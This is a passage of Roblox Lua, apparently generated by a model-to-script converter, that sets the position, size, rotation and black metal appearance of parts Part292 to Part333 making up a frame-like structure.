- Part292.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part292.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part292.Anchored = true
- Part292.BottomSurface = Enum.SurfaceType.Smooth
- Part292.BrickColor = BrickColor.new("Black")
- Part292.Material = Enum.Material.Metal
- Part292.TopSurface = Enum.SurfaceType.Smooth
- Part292.brickColor = BrickColor.new("Black")
- Part293.Parent = mas
- Part293.CFrame = CFrame.new(31.4071274, 33.8450432, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part293.Orientation = Vector3.new(0, -135, 0)
- Part293.Position = Vector3.new(31.4071274, 33.8450432, 25.4780731)
- Part293.Rotation = Vector3.new(-180, -45, -180)
- Part293.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part293.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part293.Anchored = true
- Part293.BottomSurface = Enum.SurfaceType.Smooth
- Part293.BrickColor = BrickColor.new("Black")
- Part293.Material = Enum.Material.Metal
- Part293.TopSurface = Enum.SurfaceType.Smooth
- Part293.brickColor = BrickColor.new("Black")
- Part294.Parent = mas
- Part294.CFrame = CFrame.new(29.6922531, 33.8450432, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part294.Orientation = Vector3.new(0, -90, 0)
- Part294.Position = Vector3.new(29.6922531, 33.8450432, 25.0361633)
- Part294.Rotation = Vector3.new(0, -90, 0)
- Part294.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part294.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part294.Anchored = true
- Part294.BottomSurface = Enum.SurfaceType.Smooth
- Part294.BrickColor = BrickColor.new("Black")
- Part294.Material = Enum.Material.Metal
- Part294.TopSurface = Enum.SurfaceType.Smooth
- Part294.brickColor = BrickColor.new("Black")
- Part295.Parent = mas
- Part295.CFrame = CFrame.new(29.7422714, 23.3450451, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part295.Orientation = Vector3.new(0, -90, 0)
- Part295.Position = Vector3.new(29.7422714, 23.3450451, 28.8362427)
- Part295.Rotation = Vector3.new(0, -90, 0)
- Part295.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part295.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part295.Anchored = true
- Part295.BottomSurface = Enum.SurfaceType.Smooth
- Part295.BrickColor = BrickColor.new("Black")
- Part295.Material = Enum.Material.Metal
- Part295.TopSurface = Enum.SurfaceType.Smooth
- Part295.brickColor = BrickColor.new("Black")
- Part296.Parent = mas
- Part296.CFrame = CFrame.new(29.7422714, 27.5450459, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part296.Orientation = Vector3.new(0, -90, 0)
- Part296.Position = Vector3.new(29.7422714, 27.5450459, 28.8362427)
- Part296.Rotation = Vector3.new(0, -90, 0)
- Part296.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part296.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part296.Anchored = true
- Part296.BottomSurface = Enum.SurfaceType.Smooth
- Part296.BrickColor = BrickColor.new("Black")
- Part296.Material = Enum.Material.Metal
- Part296.TopSurface = Enum.SurfaceType.Smooth
- Part296.brickColor = BrickColor.new("Black")
- Part297.Parent = mas
- Part297.CFrame = CFrame.new(29.6922531, 29.645052, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part297.Orientation = Vector3.new(0, -90, 0)
- Part297.Position = Vector3.new(29.6922531, 29.645052, 25.0361633)
- Part297.Rotation = Vector3.new(0, -90, 0)
- Part297.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part297.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part297.Anchored = true
- Part297.BottomSurface = Enum.SurfaceType.Smooth
- Part297.BrickColor = BrickColor.new("Black")
- Part297.Material = Enum.Material.Metal
- Part297.TopSurface = Enum.SurfaceType.Smooth
- Part297.brickColor = BrickColor.new("Black")
- Part298.Parent = mas
- Part298.CFrame = CFrame.new(31.8423386, 33.8450432, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part298.Position = Vector3.new(31.8423386, 33.8450432, 26.9111938)
- Part298.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part298.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part298.Anchored = true
- Part298.BottomSurface = Enum.SurfaceType.Smooth
- Part298.BrickColor = BrickColor.new("Black")
- Part298.Material = Enum.Material.Metal
- Part298.TopSurface = Enum.SurfaceType.Smooth
- Part298.brickColor = BrickColor.new("Black")
- Part299.Parent = mas
- Part299.CFrame = CFrame.new(31.8423386, 29.645052, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part299.Position = Vector3.new(31.8423386, 29.645052, 26.9111938)
- Part299.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part299.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part299.Anchored = true
- Part299.BottomSurface = Enum.SurfaceType.Smooth
- Part299.BrickColor = BrickColor.new("Black")
- Part299.Material = Enum.Material.Metal
- Part299.TopSurface = Enum.SurfaceType.Smooth
- Part299.brickColor = BrickColor.new("Black")
- Part300.Parent = mas
- Part300.CFrame = CFrame.new(29.6922531, 31.7450485, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part300.Orientation = Vector3.new(0, -90, 0)
- Part300.Position = Vector3.new(29.6922531, 31.7450485, 25.0361633)
- Part300.Rotation = Vector3.new(0, -90, 0)
- Part300.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part300.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part300.Anchored = true
- Part300.BottomSurface = Enum.SurfaceType.Smooth
- Part300.BrickColor = BrickColor.new("Black")
- Part300.Material = Enum.Material.Metal
- Part300.TopSurface = Enum.SurfaceType.Smooth
- Part300.brickColor = BrickColor.new("Black")
- Part301.Parent = mas
- Part301.CFrame = CFrame.new(31.4071579, 27.5450459, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part301.Orientation = Vector3.new(0, 135, 0)
- Part301.Position = Vector3.new(31.4071579, 27.5450459, 28.3781281)
- Part301.Rotation = Vector3.new(-180, 45, -180)
- Part301.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part301.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part301.Anchored = true
- Part301.BottomSurface = Enum.SurfaceType.Smooth
- Part301.BrickColor = BrickColor.new("Black")
- Part301.Material = Enum.Material.Metal
- Part301.TopSurface = Enum.SurfaceType.Smooth
- Part301.brickColor = BrickColor.new("Black")
- Part302.Parent = mas
- Part302.CFrame = CFrame.new(31.4071579, 82.1446075, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part302.Orientation = Vector3.new(0, 135, 0)
- Part302.Position = Vector3.new(31.4071579, 82.1446075, 28.3781281)
- Part302.Rotation = Vector3.new(-180, 45, -180)
- Part302.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part302.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part302.Anchored = true
- Part302.BottomSurface = Enum.SurfaceType.Smooth
- Part302.BrickColor = BrickColor.new("Black")
- Part302.Material = Enum.Material.Metal
- Part302.TopSurface = Enum.SurfaceType.Smooth
- Part302.brickColor = BrickColor.new("Black")
- Part303.Parent = mas
- Part303.CFrame = CFrame.new(31.4071274, 27.5450459, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part303.Orientation = Vector3.new(0, -135, 0)
- Part303.Position = Vector3.new(31.4071274, 27.5450459, 25.4780731)
- Part303.Rotation = Vector3.new(-180, -45, -180)
- Part303.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part303.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part303.Anchored = true
- Part303.BottomSurface = Enum.SurfaceType.Smooth
- Part303.BrickColor = BrickColor.new("Black")
- Part303.Material = Enum.Material.Metal
- Part303.TopSurface = Enum.SurfaceType.Smooth
- Part303.brickColor = BrickColor.new("Black")
- Part304.Parent = mas
- Part304.CFrame = CFrame.new(29.7422714, 29.645052, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part304.Orientation = Vector3.new(0, -90, 0)
- Part304.Position = Vector3.new(29.7422714, 29.645052, 28.8362427)
- Part304.Rotation = Vector3.new(0, -90, 0)
- Part304.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part304.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part304.Anchored = true
- Part304.BottomSurface = Enum.SurfaceType.Smooth
- Part304.BrickColor = BrickColor.new("Black")
- Part304.Material = Enum.Material.Metal
- Part304.TopSurface = Enum.SurfaceType.Smooth
- Part304.brickColor = BrickColor.new("Black")
- Part305.Parent = mas
- Part305.CFrame = CFrame.new(31.4071579, 25.4450455, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part305.Orientation = Vector3.new(0, 135, 0)
- Part305.Position = Vector3.new(31.4071579, 25.4450455, 28.3781281)
- Part305.Rotation = Vector3.new(-180, 45, -180)
- Part305.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part305.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part305.Anchored = true
- Part305.BottomSurface = Enum.SurfaceType.Smooth
- Part305.BrickColor = BrickColor.new("Black")
- Part305.Material = Enum.Material.Metal
- Part305.TopSurface = Enum.SurfaceType.Smooth
- Part305.brickColor = BrickColor.new("Black")
- Part306.Parent = mas
- Part306.CFrame = CFrame.new(31.8423386, 27.5450459, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part306.Position = Vector3.new(31.8423386, 27.5450459, 26.9111938)
- Part306.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part306.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part306.Anchored = true
- Part306.BottomSurface = Enum.SurfaceType.Smooth
- Part306.BrickColor = BrickColor.new("Black")
- Part306.Material = Enum.Material.Metal
- Part306.TopSurface = Enum.SurfaceType.Smooth
- Part306.brickColor = BrickColor.new("Black")
- Part307.Parent = mas
- Part307.CFrame = CFrame.new(31.4071579, 23.3450451, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part307.Orientation = Vector3.new(0, 135, 0)
- Part307.Position = Vector3.new(31.4071579, 23.3450451, 28.3781281)
- Part307.Rotation = Vector3.new(-180, 45, -180)
- Part307.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part307.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part307.Anchored = true
- Part307.BottomSurface = Enum.SurfaceType.Smooth
- Part307.BrickColor = BrickColor.new("Black")
- Part307.Material = Enum.Material.Metal
- Part307.TopSurface = Enum.SurfaceType.Smooth
- Part307.brickColor = BrickColor.new("Black")
- Part308.Parent = mas
- Part308.CFrame = CFrame.new(31.4071274, 25.4450455, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part308.Orientation = Vector3.new(0, -135, 0)
- Part308.Position = Vector3.new(31.4071274, 25.4450455, 25.4780731)
- Part308.Rotation = Vector3.new(-180, -45, -180)
- Part308.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part308.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part308.Anchored = true
- Part308.BottomSurface = Enum.SurfaceType.Smooth
- Part308.BrickColor = BrickColor.new("Black")
- Part308.Material = Enum.Material.Metal
- Part308.TopSurface = Enum.SurfaceType.Smooth
- Part308.brickColor = BrickColor.new("Black")
- Part309.Parent = mas
- Part309.CFrame = CFrame.new(29.7422714, 82.1446075, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part309.Orientation = Vector3.new(0, -90, 0)
- Part309.Position = Vector3.new(29.7422714, 82.1446075, 28.8362427)
- Part309.Rotation = Vector3.new(0, -90, 0)
- Part309.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part309.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part309.Anchored = true
- Part309.BottomSurface = Enum.SurfaceType.Smooth
- Part309.BrickColor = BrickColor.new("Black")
- Part309.Material = Enum.Material.Metal
- Part309.TopSurface = Enum.SurfaceType.Smooth
- Part309.brickColor = BrickColor.new("Black")
- Part310.Parent = mas
- Part310.CFrame = CFrame.new(31.4071579, 46.4699783, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part310.Orientation = Vector3.new(0, 135, 0)
- Part310.Position = Vector3.new(31.4071579, 46.4699783, 28.3781281)
- Part310.Rotation = Vector3.new(-180, 45, -180)
- Part310.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part310.Size = Vector3.new(0.200000003, 75.8000031, 0.200000003)
- Part310.Anchored = true
- Part310.BottomSurface = Enum.SurfaceType.Smooth
- Part310.BrickColor = BrickColor.new("Black")
- Part310.Material = Enum.Material.Metal
- Part310.TopSurface = Enum.SurfaceType.Smooth
- Part310.brickColor = BrickColor.new("Black")
- Part311.Parent = mas
- Part311.CFrame = CFrame.new(31.4071274, 63.2448463, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part311.Orientation = Vector3.new(0, -135, 0)
- Part311.Position = Vector3.new(31.4071274, 63.2448463, 25.4780731)
- Part311.Rotation = Vector3.new(-180, -45, -180)
- Part311.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part311.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part311.Anchored = true
- Part311.BottomSurface = Enum.SurfaceType.Smooth
- Part311.BrickColor = BrickColor.new("Black")
- Part311.Material = Enum.Material.Metal
- Part311.TopSurface = Enum.SurfaceType.Smooth
- Part311.brickColor = BrickColor.new("Black")
- Part312.Parent = mas
- Part312.CFrame = CFrame.new(31.8423386, 67.4448166, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part312.Position = Vector3.new(31.8423386, 67.4448166, 26.9111938)
- Part312.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part312.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part312.Anchored = true
- Part312.BottomSurface = Enum.SurfaceType.Smooth
- Part312.BrickColor = BrickColor.new("Black")
- Part312.Material = Enum.Material.Metal
- Part312.TopSurface = Enum.SurfaceType.Smooth
- Part312.brickColor = BrickColor.new("Black")
- Part313.Parent = mas
- Part313.CFrame = CFrame.new(29.7422714, 73.7446899, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part313.Orientation = Vector3.new(0, -90, 0)
- Part313.Position = Vector3.new(29.7422714, 73.7446899, 28.8362427)
- Part313.Rotation = Vector3.new(0, -90, 0)
- Part313.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part313.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part313.Anchored = true
- Part313.BottomSurface = Enum.SurfaceType.Smooth
- Part313.BrickColor = BrickColor.new("Black")
- Part313.Material = Enum.Material.Metal
- Part313.TopSurface = Enum.SurfaceType.Smooth
- Part313.brickColor = BrickColor.new("Black")
- Part314.Parent = mas
- Part314.CFrame = CFrame.new(31.4071274, 65.3447647, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part314.Orientation = Vector3.new(0, -135, 0)
- Part314.Position = Vector3.new(31.4071274, 65.3447647, 25.4780731)
- Part314.Rotation = Vector3.new(-180, -45, -180)
- Part314.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part314.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part314.Anchored = true
- Part314.BottomSurface = Enum.SurfaceType.Smooth
- Part314.BrickColor = BrickColor.new("Black")
- Part314.Material = Enum.Material.Metal
- Part314.TopSurface = Enum.SurfaceType.Smooth
- Part314.brickColor = BrickColor.new("Black")
- Part315.Parent = mas
- Part315.CFrame = CFrame.new(29.7422714, 8.64501953, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part315.Orientation = Vector3.new(0, -90, 0)
- Part315.Position = Vector3.new(29.7422714, 8.64501953, 28.8362427)
- Part315.Rotation = Vector3.new(0, -90, 0)
- Part315.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part315.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part315.Anchored = true
- Part315.BottomSurface = Enum.SurfaceType.Smooth
- Part315.BrickColor = BrickColor.new("Black")
- Part315.Material = Enum.Material.Metal
- Part315.TopSurface = Enum.SurfaceType.Smooth
- Part315.brickColor = BrickColor.new("Black")
- Part316.Parent = mas
- Part316.CFrame = CFrame.new(31.4071274, 46.4449348, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part316.Orientation = Vector3.new(0, -135, 0)
- Part316.Position = Vector3.new(31.4071274, 46.4449348, 25.4780731)
- Part316.Rotation = Vector3.new(-180, -45, -180)
- Part316.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part316.Size = Vector3.new(0.200000003, 75.8501205, 0.200000003)
- Part316.Anchored = true
- Part316.BottomSurface = Enum.SurfaceType.Smooth
- Part316.BrickColor = BrickColor.new("Black")
- Part316.Material = Enum.Material.Metal
- Part316.TopSurface = Enum.SurfaceType.Smooth
- Part316.brickColor = BrickColor.new("Black")
- Part317.Parent = mas
- Part317.CFrame = CFrame.new(29.6922531, 63.2448463, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part317.Orientation = Vector3.new(0, -90, 0)
- Part317.Position = Vector3.new(29.6922531, 63.2448463, 25.0361633)
- Part317.Rotation = Vector3.new(0, -90, 0)
- Part317.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part317.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part317.Anchored = true
- Part317.BottomSurface = Enum.SurfaceType.Smooth
- Part317.BrickColor = BrickColor.new("Black")
- Part317.Material = Enum.Material.Metal
- Part317.TopSurface = Enum.SurfaceType.Smooth
- Part317.brickColor = BrickColor.new("Black")
- Part318.Parent = mas
- Part318.CFrame = CFrame.new(31.4071579, 75.8446884, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part318.Orientation = Vector3.new(0, 135, 0)
- Part318.Position = Vector3.new(31.4071579, 75.8446884, 28.3781281)
- Part318.Rotation = Vector3.new(-180, 45, -180)
- Part318.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part318.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part318.Anchored = true
- Part318.BottomSurface = Enum.SurfaceType.Smooth
- Part318.BrickColor = BrickColor.new("Black")
- Part318.Material = Enum.Material.Metal
- Part318.TopSurface = Enum.SurfaceType.Smooth
- Part318.brickColor = BrickColor.new("Black")
- Part319.Parent = mas
- Part319.CFrame = CFrame.new(31.4071579, 8.64501953, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part319.Orientation = Vector3.new(0, 135, 0)
- Part319.Position = Vector3.new(31.4071579, 8.64501953, 28.3781281)
- Part319.Rotation = Vector3.new(-180, 45, -180)
- Part319.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part319.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part319.Anchored = true
- Part319.BottomSurface = Enum.SurfaceType.Smooth
- Part319.BrickColor = BrickColor.new("Black")
- Part319.Material = Enum.Material.Metal
- Part319.TopSurface = Enum.SurfaceType.Smooth
- Part319.brickColor = BrickColor.new("Black")
- Part320.Parent = mas
- Part320.CFrame = CFrame.new(31.8423386, 8.64501953, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part320.Position = Vector3.new(31.8423386, 8.64501953, 26.9111938)
- Part320.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part320.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part320.Anchored = true
- Part320.BottomSurface = Enum.SurfaceType.Smooth
- Part320.BrickColor = BrickColor.new("Black")
- Part320.Material = Enum.Material.Metal
- Part320.TopSurface = Enum.SurfaceType.Smooth
- Part320.brickColor = BrickColor.new("Black")
- Part321.Parent = mas
- Part321.CFrame = CFrame.new(31.4071579, 71.6447067, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part321.Orientation = Vector3.new(0, 135, 0)
- Part321.Position = Vector3.new(31.4071579, 71.6447067, 28.3781281)
- Part321.Rotation = Vector3.new(-180, 45, -180)
- Part321.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part321.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part321.Anchored = true
- Part321.BottomSurface = Enum.SurfaceType.Smooth
- Part321.BrickColor = BrickColor.new("Black")
- Part321.Material = Enum.Material.Metal
- Part321.TopSurface = Enum.SurfaceType.Smooth
- Part321.brickColor = BrickColor.new("Black")
- Part322.Parent = mas
- Part322.CFrame = CFrame.new(31.4071274, 8.64501953, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part322.Orientation = Vector3.new(0, -135, 0)
- Part322.Position = Vector3.new(31.4071274, 8.64501953, 25.4780731)
- Part322.Rotation = Vector3.new(-180, -45, -180)
- Part322.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part322.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part322.Anchored = true
- Part322.BottomSurface = Enum.SurfaceType.Smooth
- Part322.BrickColor = BrickColor.new("Black")
- Part322.Material = Enum.Material.Metal
- Part322.TopSurface = Enum.SurfaceType.Smooth
- Part322.brickColor = BrickColor.new("Black")
- Part323.Parent = mas
- Part323.CFrame = CFrame.new(31.8423386, 84.2445755, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part323.Position = Vector3.new(31.8423386, 84.2445755, 26.9111938)
- Part323.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part323.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part323.Anchored = true
- Part323.BottomSurface = Enum.SurfaceType.Smooth
- Part323.BrickColor = BrickColor.new("Black")
- Part323.Material = Enum.Material.Metal
- Part323.TopSurface = Enum.SurfaceType.Smooth
- Part323.brickColor = BrickColor.new("Black")
- Part324.Parent = mas
- Part324.CFrame = CFrame.new(31.4071579, 67.4448166, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part324.Orientation = Vector3.new(0, 135, 0)
- Part324.Position = Vector3.new(31.4071579, 67.4448166, 28.3781281)
- Part324.Rotation = Vector3.new(-180, 45, -180)
- Part324.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part324.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part324.Anchored = true
- Part324.BottomSurface = Enum.SurfaceType.Smooth
- Part324.BrickColor = BrickColor.new("Black")
- Part324.Material = Enum.Material.Metal
- Part324.TopSurface = Enum.SurfaceType.Smooth
- Part324.brickColor = BrickColor.new("Black")
- Part325.Parent = mas
- Part325.CFrame = CFrame.new(29.6922531, 8.64501953, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part325.Orientation = Vector3.new(0, -90, 0)
- Part325.Position = Vector3.new(29.6922531, 8.64501953, 25.0361633)
- Part325.Rotation = Vector3.new(0, -90, 0)
- Part325.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part325.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part325.Anchored = true
- Part325.BottomSurface = Enum.SurfaceType.Smooth
- Part325.BrickColor = BrickColor.new("Black")
- Part325.Material = Enum.Material.Metal
- Part325.TopSurface = Enum.SurfaceType.Smooth
- Part325.brickColor = BrickColor.new("Black")
- Part326.Parent = mas
- Part326.CFrame = CFrame.new(31.4071274, 69.5447388, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part326.Orientation = Vector3.new(0, -135, 0)
- Part326.Position = Vector3.new(31.4071274, 69.5447388, 25.4780731)
- Part326.Rotation = Vector3.new(-180, -45, -180)
- Part326.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part326.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part326.Anchored = true
- Part326.BottomSurface = Enum.SurfaceType.Smooth
- Part326.BrickColor = BrickColor.new("Black")
- Part326.Material = Enum.Material.Metal
- Part326.TopSurface = Enum.SurfaceType.Smooth
- Part326.brickColor = BrickColor.new("Black")
- Part327.Parent = mas
- Part327.CFrame = CFrame.new(31.8423386, 48.5449944, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part327.Position = Vector3.new(31.8423386, 48.5449944, 26.9111938)
- Part327.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part327.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part327.Anchored = true
- Part327.BottomSurface = Enum.SurfaceType.Smooth
- Part327.BrickColor = BrickColor.new("Black")
- Part327.Material = Enum.Material.Metal
- Part327.TopSurface = Enum.SurfaceType.Smooth
- Part327.brickColor = BrickColor.new("Black")
- Part328.Parent = mas
- Part328.CFrame = CFrame.new(2.74211788, 83.1945953, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part328.Orientation = Vector3.new(0, -90, 0)
- Part328.Position = Vector3.new(2.74211788, 83.1945953, 28.8362427)
- Part328.Rotation = Vector3.new(0, -90, 0)
- Part328.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part328.Size = Vector3.new(0.200000003, 2.34999967, 0.221998826)
- Part328.Anchored = true
- Part328.BottomSurface = Enum.SurfaceType.Smooth
- Part328.BrickColor = BrickColor.new("Black")
- Part328.Material = Enum.Material.Metal
- Part328.TopSurface = Enum.SurfaceType.Smooth
- Part328.brickColor = BrickColor.new("Black")
- Part329.Parent = mas
- Part329.CFrame = CFrame.new(31.4071274, 80.0446091, 25.4780731, -0.707106829, 0, -0.707106829, 0, 1, 0, 0.707106829, 0, -0.707106829)
- Part329.Orientation = Vector3.new(0, -135, 0)
- Part329.Position = Vector3.new(31.4071274, 80.0446091, 25.4780731)
- Part329.Rotation = Vector3.new(-180, -45, -180)
- Part329.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part329.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part329.Anchored = true
- Part329.BottomSurface = Enum.SurfaceType.Smooth
- Part329.BrickColor = BrickColor.new("Black")
- Part329.Material = Enum.Material.Metal
- Part329.TopSurface = Enum.SurfaceType.Smooth
- Part329.brickColor = BrickColor.new("Black")
- Part330.Parent = mas
- Part330.CFrame = CFrame.new(31.4071579, 61.1448326, 28.3781281, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829)
- Part330.Orientation = Vector3.new(0, 135, 0)
- Part330.Position = Vector3.new(31.4071579, 61.1448326, 28.3781281)
- Part330.Rotation = Vector3.new(-180, 45, -180)
- Part330.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part330.Size = Vector3.new(0.200000003, 0.249999657, 1.37198472)
- Part330.Anchored = true
- Part330.BottomSurface = Enum.SurfaceType.Smooth
- Part330.BrickColor = BrickColor.new("Black")
- Part330.Material = Enum.Material.Metal
- Part330.TopSurface = Enum.SurfaceType.Smooth
- Part330.brickColor = BrickColor.new("Black")
- Part331.Parent = mas
- Part331.CFrame = CFrame.new(31.8423386, 80.0446091, 26.9111938, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- Part331.Position = Vector3.new(31.8423386, 80.0446091, 26.9111938)
- Part331.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part331.Size = Vector3.new(0.200000003, 0.249999657, 2.07198501)
- Part331.Anchored = true
- Part331.BottomSurface = Enum.SurfaceType.Smooth
- Part331.BrickColor = BrickColor.new("Black")
- Part331.Material = Enum.Material.Metal
- Part331.TopSurface = Enum.SurfaceType.Smooth
- Part331.brickColor = BrickColor.new("Black")
- Part332.Parent = mas
- Part332.CFrame = CFrame.new(29.6922531, 84.2445755, 25.0361633, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part332.Orientation = Vector3.new(0, -90, 0)
- Part332.Position = Vector3.new(29.6922531, 84.2445755, 25.0361633)
- Part332.Rotation = Vector3.new(0, -90, 0)
- Part332.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part332.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part332.Anchored = true
- Part332.BottomSurface = Enum.SurfaceType.Smooth
- Part332.BrickColor = BrickColor.new("Black")
- Part332.Material = Enum.Material.Metal
- Part332.TopSurface = Enum.SurfaceType.Smooth
- Part332.brickColor = BrickColor.new("Black")
- Part333.Parent = mas
- Part333.CFrame = CFrame.new(29.7422714, 77.9446411, 28.8362427, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Part333.Orientation = Vector3.new(0, -90, 0)
- Part333.Position = Vector3.new(29.7422714, 77.9446411, 28.8362427)
- Part333.Rotation = Vector3.new(0, -90, 0)
- Part333.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part333.Size = Vector3.new(0.200000003, 0.249999657, 2.62198448)
- Part333.Anchored = true
- Part333.BottomSurface = Enum.SurfaceType.Smooth
- Part333.BrickColor = BrickColor.new("Black")
- Part333.Material = Enum.Material.Metal
